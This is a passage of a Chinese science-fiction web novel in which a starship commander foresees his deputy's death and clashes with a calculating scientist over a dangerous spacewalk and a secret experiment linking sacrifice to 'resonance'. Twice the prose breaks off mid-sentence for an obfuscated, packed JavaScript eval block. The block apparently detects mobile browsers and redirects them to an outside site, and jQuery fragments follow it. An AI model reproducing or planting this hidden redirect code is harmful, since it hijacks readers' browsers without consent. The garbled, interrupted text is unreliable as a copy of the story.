为什么是陈启呢,为什么做梦的是自己呢,为什么偏偏见到的是死亡而不是失败呢; 在质问自己表面上的云淡风轻还能不能维持,选择来此的勇气还能不能推动前行,心还稳不稳坚不坚决有没有动摇? 还是在嘲笑自己一无所知但敢一意孤行,明知死路一条却踏上虚无缥缈没有结果也许不回头的路? 他想说,探索群星文明的旅程千万人前赴后继,诞生过太多将领也有太多人其实名不副实,只是占领星域过早所以成为伟人,实则不配引路全是虚名;而他希望自己是那个整肃风纪荡涤紊乱的拨乱反正之人,他想将一切带回正轨,他想跃升为新的神话,或者说他就是那唯一的紫微星。 这个世纪太需要合格的领导者,也正缺撼动冥顽不化巨石的引路人,而他希望自己点燃那把火烧出亟待发现的真金。 当初他走上驾驶星船这条路时是这样想的,现在他冲向太阳时也是这样做的。 不是为了那点赤忱的理想,他怎可能崇高到明知没有收益还来孤绝一击。 光芒中怀从咎听见一个清晰的声音,冰冷机械、毫无起伏: “样本C7,催化完成。共鸣体觉醒度,百分之十二。” “火轮……报错……” “继续推进。” 12. 恭喜啊我没死 “……” 怀从咎猛地坐起。 汗水浸透了额发、贴着肌肤;他剧烈喘息,肺叶火辣辣地疼,仿佛真的在真空中窒息过。他下意识摸向锁骨——灼痕平静地蛰伏在皮肤下,没有发光、没有痛感。 但刚才的梦太真实了。陈启的脸,他眼中的光涡,那根飘荡的绑带…… 怀从咎掀开睡眠舱的保温帘。休息舱里很暗,只有角落的地灯泛着微弱的绿光;对面陈启的睡眠舱帘子紧闭,里面传来平稳悠长的呼吸声。 他还活着。好好地睡着。 怀从咎抹了把脸,靠着舱壁慢慢调整呼吸,试图将梦里那些破碎的画面挤出脑海。但陈启最后那个眼神钉在那里,那与其说是恐惧、痛苦,不如说是茫然,仿佛不明白发生了什么、不明白自己为什么在死去。 “……”怀从咎低声骂了一句,“什么鬼。” 他轻手轻脚地滑出睡眠舱,赤脚踩在金属地板上;冰凉从脚底直窜上来,他需要动一动,需要确认这个世界的实。 这舰船就这么大,他也没地方可逛,索性走向舰桥。 通道里只有他一个人的脚步声,空洞地回响。 祝觉明居然还在还在工作站前,屏幕的光映亮他半边脸,镜片后的眼睛专注地盯着流动的数据。听见脚步声,他转过头。 两人目光撞上。 “你没睡?” 怀从咎停在通道口,作战服领口敞着,露出锁骨和那片平静的灼痕,看起来像做了噩梦寻求安慰的大型犬。 祝觉明的视线在他脸上停留了两秒,然后落在他锁骨处又移开。 “醒了。”祝觉明又转回去,但往旁边略挪了些示意他坐下,“做噩梦了?” 语气是平的,像在问“推进器压力正常吗”。 “这鬼地方,”怀从咎想笑但笑不出来,“谁能睡踏实。” 他走到驾驶席,没坐下去,只是扶着椅背望向主舷窗外;那里太阳还是遥远的一个光点,但比出发时已经大了整整一圈。金红色的光芒透过滤镜,在舱内投下长长的、颤动的光斑。 “博士,”怀从咎声音很轻不知道是在问祝觉明还是自己,“如果你的模型算出,某个人必须死,任务才能成功……你会怎么做?” 祝觉明转头看了怀从咎一眼。 舰桥里只剩下设备低沉的运行声,和两人轻微的呼吸。 许久,祝觉明才回答,声音和他的表情一样,没有裂痕: “模型只提供概率分布和路径优化。决策权在人。” “是吗?”怀从咎转过头,盯着他,“那如果最优路径上,就躺着那个必须死的人呢?你是绕路,还是碾过去?” 祝觉明推了推眼镜。镜片反光,遮住了他的眼睛。 “怀指挥官,”他微笑,“假设性问题没有意义。现实情境复杂得多,变量……” “去他妈的变量。”怀从咎打断他,每个字都像砸在地板上,“我就问你,祝觉明。如果那个人是陈启——是活生生、会笑会骂、相信你能带他回家的陈启——你怎么办?” 祝觉明沉默了。 他左手无名指的戒指开始发烫,像底下有一小块炭在持续的烧。 怀从咎为什么不问是自己? 他就这么相信自己不会牺牲他,所以拿再下一级的兄弟来问吗? 他看着怀从咎。看着那双眼睛里烧着的凶狠的亮光,看着那之下藏不住的、属于噩梦的余悸,看着这个凭借直觉就能听出推进器异常的人,此刻像个竖起浑身尖刺却仍在颤抖的刺猬。 “我会计算所有可能。”祝觉明最终退让了,“寻找不需要牺牲任何人的路径。” 这倒是让怀从咎没想到了。 “如果找不到呢?”他走近,“原来你会在意啊?” 亲爱的祝博士,原来你会找没必要牺牲的行轨啊。 “什么意思,”祝觉明退了一步,“你以为我在意的是他而不是你?” “……”怀从咎烦闷的转过身,“你以为我为他来和你争吵?” 祝觉明没有回答。 他重新面对屏幕,数据流继续滚动,公式展开又收拢,太阳的模拟影像在中央无声燃烧。 怀从咎看着星图又他僵直的背影,看了很久;然后低低笑了一声,那笑声里没有一点温度。 “你知道我最讨厌什么吗,博士?”他的语气是那样悲哀,“就是你们这种人。永远用计算当盾牌,好像把血淋淋的东西塞进公式里,它就不算杀人了。” “……”祝觉明本来可以反驳,想说自己是人不是ai,但还是没有,“你到底来找我做什么?就是莫名其妙没有意义的和争执?从计划之前你就总反对我,在训练中你也质疑我的判断,你到底在针对我什么?” 怀从咎嗤笑了一下,走近人,在他脸侧轻轻拍了拍。 “像你这种秀才不会吵架就不要显得自己很凶。” “没有人针对你,现在的问题是,你的计算太不把人当人了。” 他转身走向休息舱,脚步声在通道里远去,最终消失在舱门闭合的轻响后。 祝觉明独自坐下。 屏幕的光映在他脸上,明明灭灭;他左手无名指的灼热感缓缓褪去,留下皮肤上一圈细微的麻木的刺痛。 他调出陈启的实时生理数据。 心跳平稳,睡眠深度良好。一切正常。 他又调出怀从咎的脑波记录。在刚才那段时间里,出现了数次短暂的高频β波爆发,伴有θ波异常活跃——典型的噩梦生理特征。 祝觉明盯着那些波形。 尔后他打开一个新的加密文件,输入标题: “观察记录:共鸣体预视现象的可能性。” 他敲下第一个字时,主舷窗外,太阳的光斑轻轻跳动了一下。 仿佛遥远的恒星,正在无声地注视。 ——— 吵归吵,白天还是得一起工作。 航行第四十六小时,他们的舰船出现轻微颤抖。 起初那颤动很细微,像远处传来的低音,沿着舱壁爬行;祝觉明最先注意到数据流里的异常——引力场传感器记录到持续的背景扰动,频率在3.7赫兹左右,振幅随时间缓慢爬升。 模型将其归类为“未归因的深空微湍流”,建议维持航向。 怀从咎在驾驶席上调整了两次坐姿。 “不对劲。”他盯着前方那片被恒星光芒浸染的深空,“太空不会这样抖的。” “传感器数据显示是常规湍流。”祝觉明调出频谱图,“振幅在安全阈值内。” “数据没错。”怀从咎解开固定带,站起身,手掌平贴在主控台边缘,“但抖动的质感错了。湍流是散的,乱的,像风吹沙子。这个……” 这个有结构。它在拧转。 话音刚落,飞船猛地向□□斜。 警报没响——系统判定姿态修正仍在自动控制范围内。但祝觉明看见导航星图上那笔直的光带开始产生周期性的蛇形摆动,像有什么东西在航道下方轻轻拨动空间。 “进入未知场域。”祝觉明的语速快了起来,手指在控制面板上跳跃,调取更多探测模块,“引力梯度变化……电磁背景辐射抬升……局部时空曲率出现高频振荡。” “宇宙弦结节。”怀从咎眉心微蹙,重新坐下拉紧固定带,右手握住操纵杆,“林静渊的档案提过——高维结构在三维空间的投影点,像绳子上的疙瘩。穿过时会扰动物理法则。” 祝觉明想起那份档案。里面确实有模糊的记载,提及早期深空探测曾在特定坐标记录到“物理常数波动”。当时归因为仪器误差。 “为什么航路规划没避开?”他调数据,“高维未知注意到我们了?” “因为没人真的见过结节。”怀从咎盯着前方,瞳孔里倒映着越来越近的、无形的扭曲,“模型只能推测它可能存在。我们运气好。” 舰船开始更剧烈地摇晃。 机械故障生硬的震动和整个空间的软化、起伏让他们像船行于胶质的海,舱内照明忽明忽暗,设备屏幕上的字符开始扭曲拉长、仿佛隔着水观看。祝觉明感到胃部传来轻微的下坠感,更根本的方位感在因为重力而失锚。 尔后怀从咎锁骨处的迸射出熔金般的光,从皮肤下炸开又沿着锁骨的弧线向上攀爬,像有岩浆在血管里奔流;怀从咎闷哼一声,身体绷成弓形,手指死死抓进操纵杆的蒙皮里。 他睁着眼,但瞳孔涣散,焦距不在这个空间。 “怀从咎?”祝觉明的声音穿过摇晃的舱室,“怀从咎!” 怀从咎没回答。他整个人在抽搐,牙关咬紧;汗水从额头滚下,在下颌汇成线。那道灼痕的光越来越亮,几乎要透出皮肤——祝觉明看见光里有细密的、旋转的纹路,像微型星系在坍缩。 同一时刻,祝觉明左手无名指上的戒指烫得他几乎要甩手。 尖锐的痛感钻过指骨,沿着手臂窜向脊椎,最后在颅底炸开一片白茫茫的耻笑;在那间隙里,他听见在意识表层刮擦的声音,响彻耳畔。 “坐标锁定……” “……催化预备。” “注入…这就是你们提交的答案?” 破碎的机械短语裹挟着海潮般的杂音,祝觉明想屏蔽它,但那声音往脑子里钻;他用力按住左手,戒指的金属边缘陷进皮肤,试图用物理的痛盖过那诡异的侵入。 “急什么,”他看着航图,“卷面都没提交到你们面前……就急着抹消我们?” 而怀从咎正在看。 比梦清晰一万倍的幻象混沌的涌来,他还在舰桥、还能感觉到飞船的摇晃,还能听见祝觉明喊他的名字;但另一个画面硬生生插进视野,覆盖在现实之上—— 陈启的脸。 他穿着宇航服,面罩反射着舱内的冷光;他在笑,嘴唇动着,在说什么。怀从咎听不见,但能读出口型:“老大,这玩意儿真够劲。飞船都坏啦……我去修。” 然后陈启转身走向气密内舱门,他的右手抬起来,在做例行检查——那根特制的弹性绑带,松垮垮地挂在他手腕上,随着动作晃荡。 怀从咎想说不、不要出舱,但陈启已经飞身投入浩渺的太空,成为绚烂极光中的一颗繁星。 下一秒。 没有预警。 陈启的胸口从内向外炸开光——宇航服完好无损,但那光撕裂了织物的每一根纤维,从缝隙里迸射;炽白、滚烫,吞没所有细节,陈启的身体在光里扭曲、拉长、分解。他的脸转向怀从咎的方向,眼睛还睁着,里面映着那团吞噬他的光涡。 最后消失的,是那根飘荡的绑带。 它在真空中慢慢旋转,像葬礼上黑色的幡。 预视碎裂。 怀从咎大口喘气,肺叶火烧火燎;灼痕的光缓缓熄灭,留下一片灼痛的红肿。 “怀从咎!”祝觉明的声音这次砸进他耳朵里,“你到底怎么了?” 怀从咎转过头,视线模糊,花了三秒才聚焦;祝觉明站在两步外,脸色苍白,左手握成拳,镜片后的眼睛里有什么在震动——是惊疑,是尚未压下去的共鸣余痛。 “……你看见了。”祝觉明低声,“我听见了。” 怀从咎想说话,但什么狡辩都显得苍白。 为什么要叫陈启不要出舱? 如果舰船在航行中出现意外,陈启负责对接,维修是分内的事。 “陈启……”怀从咎每个字都像挤出来的,“他会死。” “什么时候?怎么死?”祝觉明追问,“告诉我。” “不知道。”怀从咎抬手抹了把脸,手掌在抖,“光……从他身体里炸出来。宇航服没破,但人没了。” 舰桥的摇晃正在减弱。照明稳定下来,屏幕上的字符恢复正常;导航星图上,那条蛇形摆动的光带重新拉直,他们穿过了最危险的地区,但祝觉明感觉不如说是观测者居然真的撤了制裁。 不,他想,现在还不能提观测者。 舱室里留下紧绷的余韵,像琴弦拨过后迟迟不散的颤音。 祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174317|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉明走回主控台,调出陈启的实时监控;生命体征平稳,位置在实验舱。他沉默了几秒,然后调取飞船结构图,聚焦在气密内舱门区域。 “你预视的场景里,陈启在哪个舱段?”他问,“指给我看。” 怀从咎闭眼回忆。画面破碎,但背景细节浮上来:舱壁的颜色,管线的走向,门框上的标识…… “B-3区。外层检修通道入口。” 祝觉明放大B-3区结构图。那里有一组高能粒子过滤器,负责净化循环气体。系统显示,过滤器已连续运行超过设计寿命的百分之八十,效能开始衰减。 维护计划排在七十二小时后。 “B-3区过滤器需要更换。”祝觉明下巴微抬,“按照流程,应由工程组两人协作,穿宇航服出舱外操作。” 怀从咎的血液凉了下去。 出舱。宇航服。真空中死亡的可能性。 “取消那个维护。”他声音沙哑,“换别的方案。” “过滤器效能低于临界值,会导致循环系统内放射性微粒累积。”祝觉明摇头,“长期暴露会损害全员中枢神经功能。必须更换。” “那就让我去。我一个人能搞定。” “规程要求双人协作,互为安全监督。” “去他祖宗的规程!”怀从咎猛地拍在控制台上,金属台面发出沉闷的回响,“你刚也感觉到了,对不对?那个结节……它把什么东西塞进我们脑子里了!陈启会死在那次出舱任务里!” 祝觉明沉默。 他的左手还在痛。戒指的灼烧感褪去后,留下持续的低频麻木,像有电流在皮下窜动。刚才怀从咎预视时,他听见的破碎短语——“催化预备”“注入”——与苏持风提到的实验档案高度吻合。 这不是巧合。这是机制在启动。 “预视不一定指向必然。”祝觉明最终开口,每个字都像费力推出,“可能是警告,是概率分支的展示。如果我们修改条件……” “怎么改?”怀从咎打断他,“取消任务?换人?你的模型里,到底有没有避开死亡的路径?” 祝觉明调出维护任务的变量模拟。他输入条件:更换执行人、调整时间窗口、增加安全冗余……模型跑出十七种方案。成功率最低百分之六十二,最高百分之八十九。 没有百分之百。 他盯着那个百分之八十九的方案——由怀从咎主导,祝觉明协同,时间窗口压缩到正常的一半,依赖极高精度操作。备注栏里飘红警告:“双指挥官同时进行高危作业,违反任务连续性守则。若两人同时失能,任务整体失败概率将升至百分之九十七。” “有方案。”祝觉明示意他看,“但风险很高。” 他不是不能和怀从咎一起去,但他们是文武双星,他们如果牺牲、让陈启带剩下的任务,那失败的概率更高。 “给我看。”怀从咎凑过去,祝觉明索性把方案推送到怀从咎的屏幕:“难道你真愿意和我一起去?” 怀从咎快速扫过,眸光微敛:“让我理解一下——你要跟我一起出舱,去换那个过滤器?” “这是唯一能将陈启完全排除在外的方案,同时满足双人规程。” “你知道两个指挥官同时出舱是多蠢的主意吗?万一我们俩都回不来,这船怎么办?任务怎么办?”怀从咎笑了,“这就是你的办法。你明知牺牲陈启是最优解。他是我带出来的副官,是我在校时期就和我一同执行任务的人!” “如果你要我和你一起去,我们需要极高效的配合。”祝觉明看向他,“你擅长直觉操作,我能做计算。如果我们协同,任务耗时可以压到常规的三分之一,风险窗口缩短。” 怀从咎盯着他,像要把他脸上盯出洞来。 “你信我?”怀从咎感觉自己没办法理解这人的冷漠,“这话你自己信不信?” 带陈启来,就是祝觉明和怀从咎的合作完全为联合组织需要,如果没有信任到能交付后背的队友这任务死路一条,所以联合组织把他的副官也给他拨了过来。 “我相信概率。”祝觉明公事公办的回答,“这个方案的成功率,比让陈启出舱高百分之二十七。” 言下之意你自己看着办。 “就因为这个数字?”怀从咎有时候真想掐死学术派,“数字,答案,结果……你们这些没真的出生入死过的,甩个报告就以为万事大吉,你到底有没有把我们当人?我们对你来说,是必要的耗材、是碎催,是吗?” “还因为,”祝觉明避开了他的目光,“在穿越结节时,你产生预视的同时,我的抑制器产生了强烈反应。我们之间存在尚未定义的连接。这可能有利于操作同步。” “所以,”怀从咎笑了,“你要利用这个连接,去救陈启?” 你到底是想把我带进来,还是他? “我要利用所有可用的变量,优化任务结果。” “哪怕把自己变成变量的一部分?” 祝觉明没有回答。 他转回头开始细化方案流程,标注每一个时间节点和操作要点。他的侧脸在屏幕光里显得冷静无情,但怀从咎看见他左手无意识地摩擦着那枚戒指,一遍又一遍。 自己有时候真是读不懂这个书读傻了的脑子里到底在想什么。 锯嘴葫芦有话不说,只给个解决方案;自己当然知道这么做是最好的结果,但原因呢?过程呢?难道连他一块牺牲也是必要的一环,然后自己成为那个英雄回去,却一问三不知、连为什么队友牺牲了都不知道? 怀从咎不想这样。 他要坦诚,但祝觉明要结局。 许久,怀从咎坐回驾驶席。 “……什么时候干?” 这是答应了。 “十二个小时后。我们需要准备,”祝觉明转回去继续看航图,“换人的事,你自己找个合理的理由调开陈启。” “我来处理。”怀从咎闭上眼,后脑抵着椅背,“就说我要带你熟悉外舱作业流程,为后续关键操作做准备。陈启会信。” 13. 在倒数之中 祝觉明点头。 他想,怀从咎啊怀从咎,明知是死,你就这样愿意为了陈启去用自己换吗? 接下来的十二个小时,两人没再交谈。 祝觉明回到工作站,调出B-3区过滤器的全部工程图纸。他重新计算了更换流程,将每个步骤拆解到秒,模拟了十七种可能故障与对应方案。屏幕的光映着他没有表情的脸,指尖敲击键盘的声响规律而密集,像机械的心在跳。 怀从咎坐在驾驶席,目光落在舷窗外。恒星的光芒持续涌来,将他的侧脸镀上淡金轮廓;他打开外部传感器界面,一遍遍扫描B-3区舱壁结构、附近空间微粒密度、热辐射分布——寻找任何可能让预视成真的隐患。他的右手偶尔无意识摩挲锁骨位置,那里灼痛已退,只留下皮肤下隐约闷烧般的余温。 舱内空气循环系统依然平稳工作者,营养液自动供给装置在固定时间滑出两支标准套餐;两人各自取用、吞咽,将空管塞回回收口。祝觉明偶尔抬手推眼镜,金属细框擦过鬓角;怀从咎则会突然停住动作,侧耳倾听——仿佛能听见舰船骨架深处,那不对劲的颤动仍在持续。 第七小时,加密通讯面板亮起。 祝觉明瞥见标识,是苏持风的单向数据流传输请求。他点开,没有影像,只有一串经过三重混淆的数据包,附言栏空白。 他调取解码协议,进度条缓慢爬升。 怀从咎的座椅传来轻微转动声。他没有回头,但祝觉明能感觉到一道视线落在自己后颈;沉甸甸的,带着热度。解码完成时怀从咎恰巧站起身,走向后方储物柜取备用接口线。 他的脚步声经过祝觉明身后,带起气流拂过耳际。 祝觉明不知为何有些心虚。 文件展开。 标题是模糊的项目编号,但内容核心清晰:林静渊主导的“双生锚点”实验完整记录。 祝觉明快速浏览,越过那些冗长的设备参数与伦理审查批号,直抵结果页;图表显示,当一对经过深度神经同步的受试者暴露于模拟深空辐射场,其中一人的生命体征被人工诱发衰竭时、另一人的脑波活动会出现爆发性增长。 能量峰值将达到基础值四百七十倍,且辐射场读数同时发生谐振偏移。 实验结论用加粗字体标注: “定向情感冲击——尤其是针对深层羁绊对象的牺牲情境——可引发高维意识共鸣窗口。该窗口持续时间与冲击强度、羁绊深度呈正相关。建议后续任务设计纳入该变量作为校准契机。” 祝觉明左手无名指的戒指开始发热,绵密持续的温烫替代了之前的灼热,像有血液在那里过分急促地流动;他关掉文件,清除缓存,闭上眼尽量让自己看不出任何异常。 怀从咎拿着接口线走回驾驶区。他没看祝觉明,弯腰连接备用导航模块,动作流畅熟练;但在俯身时,他作战服领口微微敞开、那灼痕在舱内冷光下显出暗沉的赭红色,像地壳下未凝固的岩浆。 “解码完了?”怀从咎忽然开口,“什么文件要走你私人通讯。” “常规航行数据同步。”祝觉明回答,“你看么?” 怀从咎低笑一声。那笑声很短,没有任何愉悦的成分。他直起身,目光扫过祝觉明还停留在控制面板上的手,摇了摇头。 “我看什么,”怀从咎重复了一遍“数据”,转身坐回座椅,“博士,你说过概率不担保个体结局。但要是概率根本就是被设计出来的呢?” 祝觉明转头看他。 怀从咎侧着脸,视线落在主舷窗外的恒星上。金红光芒在他瞳孔里燃烧,却映不暖那层封冻的警惕。 “比如任务的成功率,从一开始就被绑在必须有人死这个前提上。那所谓的优化方案,到底是在救人,还是在给屠宰场排时间表?” “任务设计基于现有科学认知。”祝觉明收回目光,重新看向自己屏幕上的出舱流程模拟,“任何模型都有边界。边界之外是未知,不是阴谋。” “未知。”怀从咎咀嚼这个词,手指在操纵杆上轻轻敲了敲,“那我预见的算未知吗?你听见的那些声音算未知吗?苏持风大半夜传文件——就为了同步常规航行数据?” 祝觉明没有回答。他调出B-3区的实时监控画面,陈启正在那里做例行设备巡检。年轻人动作利落,检查仪表、记录读数,偶尔对着通讯器说两句什么,表情专注。 他手腕上那灰蓝色的弹性绑带随着动作晃动,边缘已经磨损发白。 怀从咎也看见了。他呼吸滞了一瞬,很轻微;但祝觉明注意到了,他左手戒指的温度又往上爬了半度。 “你要的理由,我给陈启了。”怀从咎突然换了个话题,语气公事公办,“我说你需要熟悉外舱作业环境,为后续关键节点做准备。他同意调去协助检测主引擎冷却回路,十二小时内不会接近B-3区。” “效率很高。”祝觉明认可他的效率,“你还有什么想说的吗。” “你那个方案,”怀从咎继续,“双人出舱,压缩时间窗口——我们只有一次机会。任何一个环节出错,过滤器装不上,或者装上了但密封测试不过,整个循环系统会在四十八小时内达到污染阈值。” “我知道。” “那你知道我最烦什么吗?”怀从咎转过座椅,正对祝觉明,“就是你这种我知道的态度。好像所有风险都被你装进公式里了,摊平了、折现成概率了;但外面是太空。螺丝可能滑牙,密封圈可能老化,宇航服关节可能在你意想不到的时候卡住——这些东西不会按你的公式走。” 祝觉明终于再次看向他。镜片后的眼睛很静,像深潭,但水面下有什么在翻搅。 “所以我们需要配合。我的计算,你的直觉。这是目前能找到的最优路径。” “最优。”怀从咎摇了摇头,“为了这个最优,你连自己都能填进去当变量,是吗?” 沉默重新落下,祝觉明站起来,仿佛要逃离: “我去最后巡查一下工作,一会我们会有好几个小时不在。” 怀从咎不再说话。他调出自适应飞行程序,开始预设出舱期间的飞船姿态维持指令。祝觉明已经出去继续细化流程,将每一个工具摆放顺序、每一句确认通讯的措辞都写入清单;两人之间隔着不到十米的距离,却像隔着整片星海。 确认了祝觉明一会不会回来,怀从咎离开驾驶区走向后方通讯控制台;他说要检查加密频段的稳定性,为出舱期间的通讯冗余做准备。祝觉明没有回来,控制台方向传来细微而规律的按键声、那些声音持续了三分钟左右。然后停住。 怀从咎站在原地,背对着祝觉明坐过的座椅;他的呼吸压得很低,如果祝觉明在,会从侧面屏幕的反光里瞥见他垂在身侧的右手。 ……三分钟,足够一个经验丰富的指挥官破译一道并不复杂的多层混淆。 足够他看见那些图表、那些数字,那些关于“牺牲情境”与“共鸣窗口”的描述。 他不能当着祝觉明的面拦截,但他可以在人走后去看。 祝觉明为什么不销毁呢?就等着他发现,还是信任他? 怀从咎没有转身。他手在作战服裤侧擦了擦,然后走回驾驶席坐下、系好固定带。 他的表情没有变化,甚至比之前更平静,但眼底烧着一簇晦暗的火。 祝觉明回来时一眼就发现操作台被动了:“你开信息界面了?” “通讯系统正常。”怀从咎报告,语气平淡,“还有两个小时出仓对吧。” “收到。”祝觉明回应,“是,最后我们会休息一个小时。” 两人再无言。 第十小时,他们开始各自进行出舱前准备。祝觉明校准宇航服的内置计算单元,将流程清单导入;怀从咎检查生命维持系统压力、推进器燃料储量、安全绳的耐磨系数……动作专业、高效,没有多余交流。 偶尔需要传递工具,手与手短暂接触,一触即分。 祝觉明感觉到怀从咎指尖的温度比平常高,而怀从咎在接过数据板时,视线扫过祝觉明左手那枚戒指停留了半秒。 出发前最后一个半小时,他们穿上宇航服内衬,进行封闭测试;祝觉明坐在座椅上,看着怀从咎站在舱室中央,伸展手臂,弯腰,转身——每一个动作都牵动肌肉线条,流畅而充满控制力。那道人影在冷白灯光下拉长,投在灰黑舱壁上,像某种蓄势的弓。 “你的抑制器,”怀从咎忽然开口,没有回头,“在结节里反应很大。” “嗯。” “它会干扰外舱作业吗?” “理论上不会。它只针对特定频段的神经反馈。” “如果理论又出错了呢?” “那你负责把我拖回来。” 祝觉明说的那样稀松平常,好像交给怀从咎就万事大吉。 怀从咎终于转过身。面罩还没戴上,他的脸直接暴露在舱内光线里、汗湿的额发贴在皮肤上,眼睛亮得惊人。 “拖回来。然后呢?继续算你的概率?继续找下一个最优路径?” 他没有问,你觉得我们还能赌几次? “先完成这次任务。”祝觉明站起身,开始戴手套,“过滤器必须更换。陈启不能出舱。” “你为什么这么坚持这个?”怀从咎逼近一步,两人之间只剩半臂距离。他能看见祝觉明镜片上自己的倒影,扭曲而灼烧,“因为他是关键催化素?因为他的死能点亮你模型里某个神奇的参数?” 告诉我实话,祝觉明。就这一次。 舱内循环系统的低鸣似乎变响了。恒星的光透过舷窗滤片,在地板上投下颤抖的菱形光斑。 祝觉明抬起头,直视怀从咎。他的脸在阴影里显得有些苍白,但目光很稳。 “我坚持,因为他是你的副官。你信任他。而任务需要你保持稳定。” 怀从咎瞳孔微缩。 “就这个理由?”他声音压得极低,“你不问我为什么不等到回来再和你算账,不问我为什么突然再次和你提起这个……你总好像一切都在你意料之中,你觉得真的是这样吗?” “这个理由不够吗?”祝觉明反问,“不然我问什么,问你是不是看了苏持风发来的文件、问你就如此在意陈启以至于要一而再再而三对抗我的决策,还是问你对我有什么执念,觉得这样和我抗争有意思?” 两人对视。 空气里绷紧的弦发出近乎可闻的颤音,然后怀从咎先移开视线、嗤笑一声,抬手扣上面罩。 “行。够。” “休息一个小时,然后准备出舱。” 祝觉明终于退后一步,坐回驾驶椅。 提前穿工作服是先适应重量,最后休息一个小时是保持精力。 怀从咎以为自己睡不着,不,他又做了个梦。 最后检查,通讯测试。系统对接确认。 祝觉明看着倒计时归零,舱内气压开始缓缓下降;耳膜传来轻微的压迫感。他听见自己的呼吸,也透过内部频道听见怀从咎的。 比平时稍快一些,但很平稳。 “祝觉明。”怀从咎的声音在头盔里响起,电流过滤后听起来有些闷,“祝觉明。” “说。” “那份报告,我看了。” 祝觉明手指顿在控制面板边缘。 “所以呢?”他问,语气里是不解的笑意。 “所以,”怀从咎顿了顿,气密内舱门开始滑开,露出外面深邃的缀着恒星光点的黑,“这次出舱,我们俩谁都别死。也别让陈启死。至于别的——” 他迈步走向开启的舱门,宇航靴踩在金属门槛上,发出沉闷的叩击声。 “等活着回来,再算。” ……自己为什么会梦到和祝觉明摊牌? 难道他们如果好好解释,就是这样的答案? 可他不敢赌,如果好好讲明,祝觉明会完全就是这样的反应。 这人完全可以安个偷看私密文件的罪名,然后把自己送上法庭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174318|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀从咎看见自己身后祝觉明跟上,两人一前一后踏入缓冲舱;外舱门缓缓开启,真实的宇宙无声涌来,冰冷、浩瀚,充满辐射与尘埃。恒星的光劈头盖脸压下来,灼热到能烧穿视网膜,他们站在门槛边,安全绳扣在腰间、推进器待命。 祝觉明沉浸在方案计算里,反复模拟各种意外情境:工具脱落、密封失效、太阳风突袭……他计算每一条管线的承压极限,每一个螺栓的扭矩,每一秒动作的冗余时间……数据流在他眼前编织成密实的网,网的中心是那个必须被更换的过滤器,外缘是他们两人活着回来的概率。 怀从咎在检查宇航服。 他决定先不醒来,看看这次会梦见什么。 总不能是祝觉明炸在自己面前。 他站到外舱预备区,逐项测试生命维持系统、通讯模块、推进剂储量……他的手很稳,动作熟练到像呼吸——这是他熟悉的领域,是能用肌肉记忆覆盖恐惧的领域。但当他触摸到宇航服胸口的强化纤维时,总会想起预视里那束从陈启胸口炸开的光。 那光到底从哪来? 时间到。 陈启被怀从咎支去监测太阳风实时数据——这是个需要高度专注的活,能把他牢牢按在座椅上。少年没怀疑,只是咧嘴笑:“老大你放心,有粒子流过来我马上吼。” 祝觉明和怀从咎在气密舱内互相最后扣紧给氧口。 这是标准流程,但此刻显得格外沉重;祝觉明的手指划过怀从咎背后的管线接口,确认每一处锁扣到位。怀从咎则半跪着检查祝觉明的足部固定器,动作干脆利落。 “通讯测试。”祝觉明的声音透过内部频道传来,略微失真,“能不能听得见。” “收到。”怀从咎回应,“出舱后跟紧我。别碰任何没标记的管线,有些老型号带残余电荷。” “明白。” 气密内舱门滑开,两人踏入过渡舱。外门开启,星光和绝对的寂静一起涌进来。 舰船悬在深空里,像一枚银灰色的梭;太阳在侧后方,光芒斜射,在船体上拉出长长的、锋利的影子。怀从咎率先飘出,缆绳在他腰间延伸;祝觉明跟在后面,每一步都落在怀从咎指示的位置。 B-3区在船腹。 他们沿着扶梯移动。太空里没有上下,但视觉上仍在坠落——恒星、星空、飞船的轮廓……所有参照物都在缓慢旋转。祝觉明强迫自己聚焦在眼前的操作面板上,忽略那股从脊椎爬上来的失重眩晕。 过滤器舱盖有十六个螺栓。 怀从咎卸下第一个,动作流畅;祝觉明负责接收拆下的部件,用磁力扣固定在携带板上,并记录每一个的顺序——这是他的提议,防止回装时出错。 “螺栓七,锈蚀。”怀从咎没有看祝觉明。 祝觉明调出该螺栓的材质记录:“钛合金,表层镀铬。理论上不应锈蚀。” “但它在锈。”怀从咎用工具尖端刮了一下,暗红色的碎屑飘散开,“像被什么东西吃了。” 祝觉明捕捉到那些碎屑,用便携分析仪扫描。成分复杂:铁氧化物为主,但混杂了微量的、不应该出现在此处的放射性同位素。 “粒子沉积。”他得出结论,“有高能粒子流长期冲刷这个区域。过滤器失效速度比预期快,可能也与此有关。” “太阳风?” “强度不足以造成这种侵蚀。”祝觉明看向侵蚀最严重的方位——那里指向船尾,一个理论上干净的方向,“除非船尾方向存在我们未探测到的辐射源。” 怀从咎没说话。他加快动作,剩下九个螺栓接连卸下。舱盖松开,他小心地将其移开,露出内部密密麻麻的滤芯阵列。 更换滤芯是精细活。 怀从咎负责拆卸旧件,祝觉明负责安装新件。两人之间没有多余的话,只有频道里平稳的指令和确认。 “A排第三柱,卡扣松开。” “松开确认。” “新件递给我。” “递出。” “插入……深度不足,回退两毫米。” “回退两毫米确认。” “现在推入……锁死。下一个。” 